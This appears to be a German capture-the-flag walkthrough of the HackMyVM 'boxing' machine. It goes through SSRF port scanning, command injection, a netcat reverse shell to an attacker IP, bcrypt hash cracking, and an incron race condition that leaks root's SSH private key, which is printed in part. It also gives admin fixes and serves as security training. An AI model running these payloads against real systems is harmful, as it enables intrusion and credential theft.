/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:FUZZ :: Wordlist : FUZZ: /dev/stdin :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 1167 (-fs) ________________________________________________ 80 [Status: 200, Size: 25021, Words: 10556, Lines: 702, Duration: 847ms] 5000 [Status: 200, Size: 2367, Words: 828, Lines: 96, Duration: 3ms]
**Analyse:** `ffuf` wird genutzt, um über die SSRF-Schwachstelle einen Portscan auf `localhost` (aus Sicht des Staging-Servers) durchzuführen. Es iteriert durch die Ports 1 bis 65000 (`-w <(seq 1 65000)`). Antworten mit der Standardgröße 1167 werden ignoriert (`-fs 1167`). Zwei Ports liefern abweichende Antworten: Port 80 (Apache der Hauptseite) und Port 5000.
**Bewertung:** Erfolgreicher interner Portscan via SSRF. Ein bisher unbekannter Dienst auf `localhost:5000` wurde entdeckt.
**Empfehlung (Pentester):** Untersuche den Dienst auf Port 5000 über die SSRF: `curl 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000'`.
**Empfehlung (Admin):** Behebe die SSRF. Identifiziere und sichere den Dienst auf Port 5000 oder deaktiviere ihn, falls nicht benötigt.
Zugriff auf den internen Dienst auf Port 5000 via SSRF.
<!DOCTYPE html> <html> <head> <!-- Head-Inhalt ausgelassen --> </head> <body> <form method="post"> Process name: <input type="text" name="processName" placeholder="Type process"> <input type="submit"> </form> </body> </html>
**Analyse:** Der `curl`-Befehl nutzt die SSRF, um auf `localhost:5000` zuzugreifen. Die Antwort ist eine einfache HTML-Seite mit einem Formular, das nach einem "Process name" fragt und einen Submit-Button hat. Das Formular sendet die Daten per POST an sich selbst (`/`).
**Bewertung:** Ein interner Webdienst wurde gefunden, der Benutzereingaben entgegennimmt und vermutlich zur Prozessinteraktion dient. Dies ist eine hochgradig verdächtige Funktionalität.
**Empfehlung (Pentester):** Teste dieses Formular auf Command Injection. Sende Prozessnamen (z.B. `id`, `ls`, `ps`) oder versuche, durch spezielle Zeichen (`|`, `;`, `` ` ``) Befehle anzuhängen.
**Empfehlung (Admin):** Untersuche diesen Dienst auf Port 5000 sofort. Solch eine Funktionalität (Ausführen von Prozessen über eine Weboberfläche) ist extrem gefährlich und sollte, wenn überhaupt, nur mit stärkster Authentifizierung und Eingabevalidierung existieren. Deaktiviere ihn, falls möglich.
Erster Command Injection Test auf Port 5000 (mit GET statt POST).
<form method="post"> Process name: <input type="text" name="processName" placeholder="Type process"> <input type="submit"> </form> <div class='output'><pre>Linux 6.1.0-17-amd64 (boxing) 28/04/2024 _x86_64_ (1 CPU) 23:47:53 UID PID %usr %system %guest %wait %CPU CPU Command </pre></div></body> </html>
**Analyse:** Es wird versucht, den `processName`-Parameter über einen GET-Request (als Teil der SSRF-URL) mit dem Wert `id` zu senden. Der Server antwortet jedoch mit einer Ausgabe, die wie eine Prozessliste oder Systemübersicht aussieht (`Linux ... UID PID ...`), aber nicht mit der direkten Ausgabe des `id`-Befehls. Das Formular verwendet POST, daher ist die Übergabe als GET-Parameter möglicherweise nicht die korrekte Methode, oder die Anwendung interpretiert die Eingabe anders als erwartet.
**Bewertung:** Zeigt, dass die Eingabe eine Reaktion auslöst, aber keine direkte Command Injection im einfachen Sinne. Die Anwendung scheint die Eingabe in einen Befehl zur Prozessanzeige (wie `ps`, `top` oder `sar`) einzubetten.
**Empfehlung (Pentester):** Fuzzing des `processName`-Parameters mit speziellen Zeichen, um zu sehen, ob die Syntax des Backend-Befehls gebrochen werden kann. Versuche, den Request als POST zu senden, falls das über SSRF möglich ist (oft schwierig).
**Empfehlung (Admin):** Untersuche und sichere den Backend-Code, der den `processName`-Parameter verarbeitet.
Fuzzing des `processName`-Parameters mit Sonderzeichen.
I got a list of special characters from https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/special-chars.txt
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=asdFUZZ-eFUZZid :: Wordlist : FUZZ: specialchars.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 2548 (-fs) ________________________________________________ + [Status: 200, Size: 1167, Words: 395, Lines: 47, Duration: 20ms]
https://www.urlencoder.org/ + = %2B
**Analyse:** Es wird `ffuf` verwendet, um Sonderzeichen aus einer Liste (`specialchars.txt`) in den `processName`-Parameter einzufügen (`processName=asdFUZZ-eFUZZid`). Antworten mit der Größe 2548 werden herausgefiltert. Das einzige Zeichen, das eine abweichende Antwort (Größe 1167) erzeugt, ist das Pluszeichen (`+`). Es wird korrekt angemerkt, dass `+` in URLs oft als Leerzeichen interpretiert wird, aber auch URL-kodiert als `%2B` gesendet werden kann.
**Bewertung:** Wichtiger Hinweis. Das `+`-Zeichen scheint die Backend-Verarbeitung zu stören oder anders zu beeinflussen als andere Zeichen. Dies ist der Schlüssel zur möglichen Command Injection.
**Empfehlung (Pentester):** Konstruiere einen Payload, der das `+`-Zeichen (URL-kodiert als `%2B`) nutzt, um einen Befehl einzuschleusen. Beispiel: `processName=beliebigerText%2B-e%2Bbefehl`.
**Empfehlung (Admin):** Untersuche, warum das `+`-Zeichen die Verarbeitung beeinflusst, und implementiere eine robuste Sanitisierung/Validierung.
Erfolgreicher Command Injection Test mit URL-kodiertem Pluszeichen.
<form method="post"> Process name: <input type="text" name="processName" placeholder="Type process"> <input type="submit"> </form> <div class='output'><pre>Linux 6.1.0-17-amd64 (boxing) 28/04/2024 _x86_64_ (1 CPU) uid=33(www-data) gid=33(www-data) groupes=33(www-data) </pre></div></body> </html>
**Analyse:** Der `curl`-Befehl sendet den Payload `processName=system%2B-e%2Bid` via SSRF an den internen Dienst. Der Payload `system+-e+id` wird offenbar vom Backend so interpretiert, dass der `id`-Befehl ausgeführt wird. Die Ausgabe `uid=33(www-data)...` erscheint im HTML der Antwort.
**Bewertung:** Kritisch! Remote Code Execution als `www-data` auf dem Host-System (wo der Port 5000 Dienst läuft) ist bestätigt.
**Empfehlung (Pentester):** Nutze diese RCE, um eine Reverse Shell zu bekommen.
**Empfehlung (Admin):** **Dringend:** Behebe die Command Injection und die SSRF-Schwachstelle.
Aufbau einer Reverse Shell mittels der RCE-Schwachstelle.
listening on [any] 4445 ...
listening on [any] 6666 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 42512 id uid=33(www-data) gid=33(www-data) groupes=33(www-data)
**Analyse:** 1. Ein Netcat-Listener wird gestartet (erst auf 4445, dann korrekt auf 6666). 2. Der `curl`-Befehl sendet einen RCE-Payload via SSRF. Der Payload `system+-e+nc+-c+bash+192.168.2.199+6666` (URL-dekodiert) ist syntaktisch ungewöhnlich, aber führt offenbar dazu, dass eine Bash-Reverse-Shell zum Angreifer auf Port 6666 gestartet wird. 3. Der Netcat-Listener auf Port 6666 empfängt die Verbindung. Ein Test mit `id` bestätigt die Shell als `www-data`.
**Bewertung:** Kritisch. Erfolgreiche Erlangung einer Shell als `www-data` durch Ausnutzung der RCE über SSRF.
**Empfehlung (Pentester):** Beginne mit der Privilegienerweiterungs-Phase. Stabilisiere die Shell bei Bedarf.
**Empfehlung (Admin):** Behebe LFI, SSRF und RCE. Überprüfe die Sicherheit des internen Dienstes auf Port 5000.
Untersuchung des Verzeichnisses `/opt/sos` und der darin enthaltenen Skripte.
total 20 drwxr-xr-x 3 root root 4096 4 févr. 03:15 . drwxr-xr-x 4 root root 4096 4 févr. 03:15 .. -rwxr-xr-x 1 root root 298 4 févr. 03:15 incrontab.sh drwxr-xr-x 2 root root 4096 4 févr. 17:20 logs -rwxr-xr-x 1 root root 323 4 févr. 03:15 sos.sh
#!/bin/bash logs="/opt/sos/logs/output-logs.txt" rm $logs exec &>$logs cd /home/cassius file * ss -altupn last -a w ps aux top -n 1 lsof for user in $(cut -f1 -d: /etc/passwd); do echo "Cron jobs for $user:" crontab -u $user -l done tail /var/log/syslog sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/* chmod 700 $logs
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } #
bash: ll : commande introuvable
total 20 drwxr-xr-x 3 root root 4096 4 févr. 03:15 . drwxr-xr-x 4 root root 4096 4 févr. 03:15 .. -rwxr-xr-x 1 root root 298 4 févr. 03:15 incrontab.sh drwxr-xr-x 2 root root 4096 4 févr. 17:20 logs -rwxr-xr-x 1 root root 323 4 févr. 03:15 sos.sh
#!/bin/bash echo '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab - echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab - echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -
**Analyse:**
**Bewertung:** Kritisch. Eine klare Privilege Escalation-Möglichkeit über `incron`. Eine Änderung der Attribute von `/home/cassius/user.txt` (was `www-data` möglicherweise nicht kann, aber der Benutzer `cassius` definitiv) löst die Ausführung von `/opt/sos/sos.sh` als `root` aus. Das Skript selbst ist nicht beschreibbar, aber sein Verhalten (insbesondere das `cd /home/cassius` und das Schreiben in eine Logdatei) kann potenziell ausgenutzt werden.
**Empfehlung (Pentester):**
1. Erhalte Zugriff als Benutzer `cassius` (dessen Hash bereits gefunden wurde).
2. Als `cassius`, erstelle einen symbolischen Link im Home-Verzeichnis, der auf eine wichtige Datei von Root zeigt (z.B. `ln -s /root/.ssh/id_rsa rootkey`).
3. Als `cassius`, trigger den `incron`-Job, indem du die Attribute von `user.txt` änderst (z.B. `chmod 777 user.txt`).
4. `/opt/sos/sos.sh` wird als Root ausgeführt. Es wechselt nach `/home/cassius` und führt `file *` aus. Dies liest den Anfang der Datei, auf die der Symlink zeigt (`/root/.ssh/id_rsa`).
5. Die Ausgabe von `file *` (und aller anderen Befehle im Skript) wird in `/opt/sos/logs/output-logs.txt` geschrieben.
6. Implementiere einen Mechanismus (z.B. eine `while true`-Schleife), um `/opt/sos/logs/output-logs.txt` sofort nach seiner Erstellung zu kopieren, *bevor* `sos.sh` am Ende `chmod 700` darauf ausführt und `cassius` den Lesezugriff verliert.
7. Extrahiere den privaten SSH-Schlüssel von Root aus der kopierten Logdatei.
8. Nutze den Schlüssel für den SSH-Login als Root.
**Empfehlung (Admin):** **Dringend:** Entferne die gefährliche `incron`-Regel. Überprüfe alle `incron`-Konfigurationen. `sos.sh` sollte nicht als Root laufen oder zumindest keine Befehle in potenziell vom Benutzer kontrollierbaren Verzeichnissen ausführen oder unsichere Operationen durchführen. Beschränke Berechtigungen.
Weitere Enumeration als `www-data`: Suche nach SUID/GUID, sudo, Capabilities, Kernel-Version.
1707982 72 -rwsr-xr-x 1 root root 72000 mars 23 2023 /usr/bin/su 1704050 52 -rwsr-xr-x 1 root root 52880 mars 23 2023 /usr/bin/chsh 1707314 48 -rwsr-xr-x 1 root root 48896 mars 23 2023 /usr/bin/newgrp 1707468 60 -rwsr-xr-x 1 root root 59704 mars 23 2023 /usr/bin/mount 1704053 68 -rwsr-xr-x 1 root root 68248 mars 23 2023 /usr/bin/passwd 1704049 64 -rwsr-xr-x 1 root root 62672 mars 23 2023 /usr/bin/chfn 1707470 36 -rwsr-xr-x 1 root root 35128 mars 23 2023 /usr/bin/umount 1704052 88 -rwsr-xr-x 1 root root 88496 mars 23 2023 /usr/bin/gpasswd 1724448 52 -rwsr-xr-- 1 root messagebus 51272 sept. 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 1726663 640 -rwsr-xr-x 1 root root 653888 déc. 19 15:51 /usr/lib/openssh/ssh-keysign
bash: sudo : commande introuvable
/usr/bin/ping cap_net_raw=ep
-rw-r--r-- 1 root root 1230 4 févr. 16:50 /etc/passwd
Linux boxing 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64 GNU/Linux
**Analyse:** Die Enumerationsbefehle werden erneut ausgeführt:
**Bewertung:** Bestätigt, dass Standard-PrivEsc-Vektoren wie SUID-Binaries oder `sudo` hier nicht greifen. Die Kernel-Version ist relevant für Kernel-Exploits, aber der `incron`-Pfad ist vielversprechender.
**Empfehlung (Pentester):** Fokussiere dich auf den `incron`-Exploit und erlange zuerst Zugriff als `cassius`.
**Empfehlung (Admin):** Keine zusätzlichen Maßnahmen basierend auf diesen Ergebnissen.
Herunterladen der SQLite-Datenbank (vermutlich über LFI auf Staging) und Extrahieren des Hashes.
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 24576 100 24576 0 0 15.8M 0 --:--:-- --:--:-- --:--:-- 23.4M
SQLite format 3 tablenewsnews CREATE TABLE news ( id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT NOT NULL, content TEXT, publish_date DATE Etablematchesmatches CREATE TABLE matches ( id INTEGER PRIMARY KEY AUTOINCREMENT, fighter1_id INTEGER, fighter2_id INTEGER, match_date DATE, location TEXT, result TEXT, FOREIGN KEY (fighter1_id) REFERENCES fighters (id), FOREIGN KEY (fighter2_id) REFERENCES fighters (id) tablefightersfighters CREATE TABLE fighters ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, weight_class TEXT, ranking INTEGER Ytablesqlite_sequencesqlite_sequence CREATE TABLE sqlite_sequence(name,seq) tableusersusers CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT NOT NULL, password_hash TEXT NOT NULL cassius$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu users
**Analyse:** 1. Die Datei `boxing_database.db` wird erfolgreich heruntergeladen, wahrscheinlich durch Ausnutzung der LFI im `url`-Parameter der Staging-Umgebung (`curl http://staging-env.boxing.hmv/index.php?url=boxing_database.db`). 2. Der Befehl `strings` wird auf die heruntergeladene SQLite-Datenbank angewendet. 3. Die Ausgabe von `strings` zeigt SQL-Schema-Definitionen und lesbare Zeichenketten aus der Datenbank. Darunter befindet sich der Eintrag `cassius$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu`, der stark nach einem Benutzernamen (`cassius`) und einem zugehörigen Passwort-Hash (bcrypt, erkennbar am `$2b$05$`) aussieht. 4. Der Hash wird in eine Datei namens `hash` gespeichert.
**Bewertung:** Kritisch. Erfolgreiche Exfiltration der Anwendungsdatenbank und Extraktion eines Passwort-Hashes für den Benutzer `cassius`.
**Empfehlung (Pentester):** Versuche, den bcrypt-Hash offline mit John the Ripper oder Hashcat und einer geeigneten Wordlist (ggf. unter Berücksichtigung des Passwort-Hinweises "Cassius!") zu knacken.
**Empfehlung (Admin):** Behebe die LFI-Schwachstelle auf dem Staging-Server. Speichere Datenbankdateien niemals im Webroot oder einem öffentlich zugänglichen Verzeichnis. Verwende starke Passwort-Hashing-Algorithmen (bcrypt ist gut, aber der Hash sollte nicht exponiert werden).
Hinweise und Vorbereitung zum Knacken des Hashes.
--- geht nicht https://www.ddosi.org/pass8/ Cassius! -------------------- Cassius! cassius! CASSIUS! cASSIUS! CasS !suissaC Cassius!Cassius! ... ... Cassius!29! Cassius!30! Cassius!31!
$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu
**Analyse:** Dieser Abschnitt enthält Notizen und Vorbereitungsschritte zum Knacken des Hashes:
**Bewertung:** Zeigt den Denkprozess und die Vorbereitung für den gezielten Hash-Cracking-Versuch basierend auf dem Hinweis.
**Empfehlung (Pentester):** Führe John/Hashcat mit der Datei `hhh` und der generierten Wordlist (`pass.txt`) aus.
**Empfehlung (Admin):** Verwende Passwörter, die nicht leicht aus Hinweisen oder durch einfache Mutationen erraten werden können.
Knacken des bcrypt-Hashes mit John the Ripper.
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Cassius!123 (?)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1g 0:00:00:00 DONE (2024-04-29 00:33) 50.00g/s 6800p/s 6800c/s 6800C/s Cassius!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
**Analyse:** John the Ripper (`john`) wird mit der Wordlist `pass.txt` (die vermutlich Variationen von "Cassius!" enthält) auf die Datei `hhh` (die den bcrypt-Hash enthält) angesetzt. John identifiziert den Hash-Typ korrekt als bcrypt und knackt ihn erfolgreich. Das gefundene Passwort ist `Cassius!123`.
**Bewertung:** Kritisch! Das Passwort für den Benutzer `cassius` wurde erfolgreich geknackt.
**Empfehlung (Pentester):** Verwende die Zugangsdaten `cassius` / `Cassius!123`, um dich per SSH anzumelden oder `su` zu verwenden.
**Empfehlung (Admin):** Das Passwort "Cassius!123" ist zu schwach und basiert auf einem Hinweis. Erzwinge komplexe, nicht erratbare Passwörter.
Wechsel zum Benutzer `cassius` mit dem geknackten Passwort und Auslesen der User-Flag.
cassius
Mot de passe : cassius@boxing:/var/www/html$
user.txt
a2b3946358a96bb7a92f61a759a1d972
**Analyse:** 1. Der Benutzer `cassius` wird im `/home`-Verzeichnis bestätigt. 2. Mit `su cassius` und dem Passwort `Cassius!123` wird erfolgreich zum Benutzer `cassius` gewechselt. 3. Im Home-Verzeichnis von `cassius` wird die Datei `user.txt` gefunden. 4. Der Inhalt von `user.txt` (die User-Flag) wird ausgelesen: `a2b3946358a96bb7a92f61a759a1d972`.
**Bewertung:** Erfolgreicher initialer Zugriff als Benutzer `cassius` und Erlangung der User-Flag.
**Empfehlung (Pentester):** Beginne mit der Privilege Escalation als Benutzer `cassius`. Untersuche die `incron`-Konfiguration und das `/opt/sos`-Verzeichnis.
**Empfehlung (Admin):** Sichere das `cassius`-Konto (Passwort ändern). Untersuche und behebe den PrivEsc-Vektor.
Dieser Abschnitt demonstriert die Ausnutzung der Incron-Fehlkonfiguration zur Eskalation von Benutzer `cassius` zu `root`.
**Schwachstelle:** Eine `incron`-Regel (eingerichtet durch `/opt/sos/incrontab.sh`, vermutlich als root) überwacht die Datei `/home/cassius/user.txt`. Bei einer Attributänderung (`IN_ATTRIB`) wird das Skript `/opt/sos/sos.sh` als `root` ausgeführt. Dieses Skript wechselt nach `/home/cassius` und führt dort u.a. den Befehl `file *` aus, wobei die Ausgabe in `/opt/sos/logs/output-logs.txt` umgeleitet wird. Am Ende setzt das Skript die Berechtigungen der Logdatei auf `700`.
**Voraussetzungen:**
**Schritt-für-Schritt Anleitung:**
Vorbereiten des Exploits als `cassius`: Erstellen der Datei `-f` (möglicherweise als Störfaktor für `file *`?) und des Symlinks.
-f user.txt
total 32 drwx------ 4 cassius cassius 4096 29 avril 00:42 . drwxr-xr-x 3 root root 4096 4 févr. 03:15 .. lrwxrwxrwx 1 root root 9 4 févr. 17:11 .bash_history -> /dev/null -rw-r--r-- 1 cassius cassius 220 4 févr. 03:15 .bash_logout -rw-r--r-- 1 cassius cassius 3526 4 févr. 03:15 .bashrc -rw-r--r-- 1 cassius cassius 0 29 avril 00:41 -f drwxr-xr-x 3 cassius cassius 4096 4 févr. 17:14 .local -rw-r--r-- 1 cassius cassius 807 4 févr. 03:15 .profile lrwxrwxrwx 1 cassius cassius 17 29 avril 00:42 rootrsa -> /root/.ssh/id_rsa drwx------ 2 cassius cassius 4096 4 févr. 17:16 .ssh -rwx------ 1 cassius cassius 33 4 févr. 03:15 user.txt
**Analyse:** Als Benutzer `cassius` werden die Vorbereitungen für den Incron-Exploit getroffen: 1. `touch -- -f`: Erstellt eine leere Datei mit dem ungewöhnlichen Namen `-f`. Das `--` verhindert, dass `-f` als Option interpretiert wird. 2. `ln -sf /root/.ssh/id_rsa rootrsa`: Erstellt den symbolischen Link `rootrsa`, der auf den privaten SSH-Schlüssel von Root zeigt.
**Bewertung:** Korrekte Vorbereitungsschritte für den Exploit.
**Empfehlung (Pentester):** Starte nun die Kopierschleife und triggere den Incron-Job.
**Empfehlung (Admin):** Keine spezifischen Maßnahmen für diesen Schritt.
Trigger des Incron-Jobs und Ausnutzung der Race Condition zum Kopieren der Logdatei.
**Analyse:** Dieser Befehl kombiniert zwei Aktionen: 1. `chmod 700 user.txt`: Ändert die Berechtigungen von `user.txt`. Dies löst die `incron`-Regel `IN_ATTRIB` aus, woraufhin `/opt/sos/sos.sh` als Root ausgeführt wird. 2. `while true ; do cp /opt/sos/logs/output-logs.txt . ; done`: Startet eine Endlosschleife, die versucht, die Logdatei `/opt/sos/logs/output-logs.txt` (die von `sos.sh` beschrieben wird) kontinuierlich in das aktuelle Verzeichnis (`/home/cassius`) zu kopieren. Ziel ist es, die Datei zu erwischen, nachdem `sos.sh` den Schlüssel hineingeschrieben hat, aber bevor es `chmod 700` darauf anwendet.
**Bewertung:** Korrekte Methode zur Auslösung des Incron-Jobs und zur Ausnutzung der Race Condition, um die Logdatei mit den Root-Berechtigungen zu kopieren.
**Empfehlung (Pentester):** Überprüfe die kopierte Logdatei auf den Inhalt des Root-SSH-Schlüssels.
**Empfehlung (Admin):** Behebe die Incron-Fehlkonfiguration.
Anzeige des Inhalts der kopierten Logdatei, die den privaten SSH-Schlüssel enthält.
-----BEGIN OPENSSH PRIVATE KEY-----: cannot open `-----BEGIN OPENSSH PRIVATE KEY-----' (No such file or directory) b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: cannot open `b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn' (No such file or directory) NhAAAAAwEAAQAAAYEAkCCrCRmGy14hu1qi9J8dDoKUkmRuaPtO2ToC3S/aexmwuG0Q4i65: cannot open `NhAAAAAwEAAQAAAYEAkCCrCRmGy14hu1qi9J8dDoKUkmRuaPtO2ToC3S/aexmwuG0Q4i65' (No such file or directory) NmYTJpLM/2q2gamZ3GcMx843wLxmPzyhIvb03Zv6e5FgP7splW9CGRiShrMlfGgqZ8GRyU: cannot open `NmYTJpLM/2q2gamZ3GcMx843wLxmPzyhIvb03Zv6e5FgP7splW9CGRiShrMlfGgqZ8GRyU' (No such file or directory) BAWanDaQ4kMaAtVXeUxuLg5lkcQwIo+obGujOPfyfB0H949LwvEjEo++1VvohckzSl+8R9: cannot open `BAWanDaQ4kMaAtVXeUxuLg5lkcQwIo+obGujOPfyfB0H949LwvEjEo++1VvohckzSl+8R9' (No such file or directory) vbSum/tLq4LWP9SVRlHqfoYxKGVRCyIoE5bsk/8cBIOtfqhHRWjMrD308VMBkSdVHYi/Xu: cannot open `vbSum/tLq4LWP9SVRlHqfoYxKGVRCyIoE5bsk/8cBIOtfqhHRWjMrD308VMBkSdVHYi/Xu' (No such file or directory) l9IG2QItmAqy+i8y1VtsIv5DrFPEKHywzRculHNncW1xlByOsdzp1e1fy/SE+J7U1ybU2X: cannot open `l9IG2QItmAqy+i8y1VtsIv5DrFPEKHywzRculHNncW1xlByOsdzp1e1fy/SE+J7U1ybU2X' (No such file or directory) xC24eSrCTmziep+zNrJf6+iRydSpBupBQYCicvN/7DI9AX0e1kB7TK9m6KOkgV+ZitIyq2: cannot open `xC24eSrCTmziep+zNrJf6+iRydSpBupBQYCicvN/7DI9AX0e1kB7TK9m6KOkgV+ZitIyq2' (No such file or directory) ySuChX2s9nvBrH3o/KboyhxAQzh/uGLq4VQvpucE3VgwTankj169/eKluKYh8CjE4KECoy: cannot open `ySuChX2s9nvBrH3o/KboyhxAQzh/uGLq4VQvpucE3VgwTankj169/eKluKYh8CjE4KECoy' (No such file or directory) MCWROF55q40MZ63ETYQf1H397I3K0K+LQtle3BV9AAAFiAwmGxQMJhsUAAAAB3NzaC1yc2: cannot open `MCWROF55q40MZ63ETYQf1H397I3K0K+LQtle3BV9AAAFiAwmGxQMJhsUAAAAB3NzaC1yc2' (No such file or directory) EAAAGBAJAgqwkZhsteIbtaovSfHQ6ClJJkbmj7Ttk6At0v2nsZsLht ...... ..... .... ... .. . soRXxjA5g9dZrTAAAAC3Jvb3RAYm94aW5nAQIDBAUGBw==: cannot open `soRXxjA5g9dZrTAAAAC3Jvb3RAYm94aW5nAQIDBAUGBw==' (No such file or directory) -----END OPENSSH PRIVATE KEY-----
**Analyse:** Die ersten 100 Zeilen der kopierten Logdatei (`output-logs.txt`) werden angezeigt. Das Skript `/opt/sos/sos.sh` wurde offensichtlich durch die Attributänderung an `user.txt` als Root getriggert. Es wechselte nach `/home/cassius` und führte dort `file *` aus. Der `file`-Befehl versucht, den Dateityp zu bestimmen. Bei dem Symlink `rootrsa`, der auf `/root/.ssh/id_rsa` zeigt, liest `file` den Anfang des privaten Schlüssels, um den Typ zu bestimmen. Da die Zeilen des Schlüssels keine gültigen Dateinamen sind, gibt `file` für jede Zeile die Fehlermeldung "cannot open '...' (No such file or directory)" aus, *nachdem* es den Inhalt der Zeile selbst ausgegeben hat. Dadurch wird der Inhalt des privaten Schlüssels von Root in die Logdatei geschrieben.
**Bewertung:** Kritisch. Der private SSH-Schlüssel von Root wurde erfolgreich durch die Incron-Fehlkonfiguration und die Race Condition exfiltriert.
**Empfehlung (Pentester):** Rekonstruiere den SSH-Schlüssel aus dieser Logdatei (entferne die Fehlermeldungen). Speichere ihn, setze `chmod 600` und logge dich als Root via SSH ein.
**Empfehlung (Admin):** **Dringend:** Entferne die Incron-Regel. Überprüfe das System auf weitere unsichere Konfigurationen. Widerrufe/Ersetze den kompromittierten Root-SSH-Schlüssel.
Rekonstruktion des privaten SSH-Schlüssels aus der exfiltrierten Logdatei.
-----BEGIN b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAkCCrCRmGy14hu1qi9J8dDoKUkmRuaPtO2ToC3S/aexmwuG0Q4i65 NmYTJpLM/2q2gamZ3GcMx843wLxmPzyhIvb03Zv6e5FgP7splW9CGRiShrMlfGgqZ8GRyU BAWanDaQ4kMaAtVXeUxuLg5lkcQwIo+obGujOPfyfB0H949LwvEjEo++1VvohckzSl+8R9 vbSum/tLq4LWP9SVRlHqfoYxKGVRCyIoE5bsk/8cBIOtfqhHRWjMrD308VMBkSdVHYi/Xu l9IG2QItmAqy+i8y1VtsIv5DrFPEKHywzRculHNncW1xlByOsdzp1e1fy/SE+J7U1ybU2X xC24eSrCTmziep+zNrJf6+iRydSpBupBQYCicvN/7DI9AX0e1kB7TK9m6KOkgV+ZitIyq2 ySuChX2s9nvBrH3o/KboyhxAQzh/uGLq4VQvpucE3VgwTankj169/eKluKYh8CjE4KECoy MCWROF55q40MZ63ETYQf1H397I3K0K+LQtle3BV9AAAFiAwmGxQMJhsUAAAAB3NzaC1yc2 EAAAGBAJAgqwkZhsteIbtaovSfHQ6ClJJkbmj7Ttk6At0v2nsZsLhtEOIuuTZmEyaSzP9q toGpmdxnDMfON8C8Zj88oSL29N2b+nuRYD+7KZVvQhkYkoazJXxoKmfBkclAQFmpw2kOJD GgLVV3lMbi4OZZHEMCKPqGxrozj38nwdB/ePS8LxIxKPvtVb6IXJM0pfvEfb20rpv7S6uC 1j/UlUZR6n6GMShlUQsiKBOW7JP/HASDrX6oR0VozKw99PFTAZEnVR2Iv17pfSBtkCLZgK svovMtVbbCL+Q6xTxCh8sM0XLpRzZ3FtcZQcjrHc6dXtX8v0hPie1Ncm1Nl8QtuHkqwk5s 4nqfszayX+vokcnUqQbqQUGAonLzf+wyPQF9HtZAe0yvZuijpIFfmYrSMqtskrgoV9rPZ7 wax96Pym6MocQEM4f7hi6uFUL6bnBN1YME2p5I9evf3ipbimIfAoxOChAqMjAlkTheeauN DGetxE2EH9R9/eyNytCvi0LZXtwVfQAAAAMBAAEAAAGAFbsXOV6umD3aetPbpg585Gcuh4 llAactPaDQNbwKsReFMbQgIOTylWUmlgukT7kt82GNtVGZomFRaVn+q0zfmX9VbuR0YT/g 